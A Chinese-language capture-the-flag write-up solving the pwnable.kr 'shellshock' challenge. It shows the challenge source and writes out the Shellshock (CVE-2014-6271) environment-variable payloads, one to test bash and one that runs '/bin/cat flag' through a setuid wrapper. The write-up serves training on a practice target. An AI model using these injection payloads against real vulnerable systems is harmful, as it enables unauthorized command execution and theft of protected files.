概述
pwnable是一个经典的CTF中PWN方向练习的专业网站,本文记录的题目是shellshock,主要考察的是破壳漏洞的利用。
题目
题目描述
题目提示 there was a shocking news about bash,提示有个bash相关的震惊的消息,结合题目名称shellshock,可以看出考察的是破壳漏洞相关知识点。
连接信息
通过ssh登录靶机
ssh shellshock@pwnable.kr -p2222 (pw:guest)
基本信息
使用file
查看文件属性
查看基本信息,可以看到NX启用
checksec shellshock
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
直接运行
查看源代码
shellshock.c
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
源代码分析
可以看到是调用家目录下的二进制文件bash进行命令执行,那这个bash有没有受到破壳漏洞影响?可以通过如下命令测试
env x='() { :;}; echo; echo vulnerable' ./bash -c :
可以看到,家目录下的bash存在破壳漏洞
题目解法
执行命令得到flag
env x='() { :;}; /bin/cat flag' ./shellshock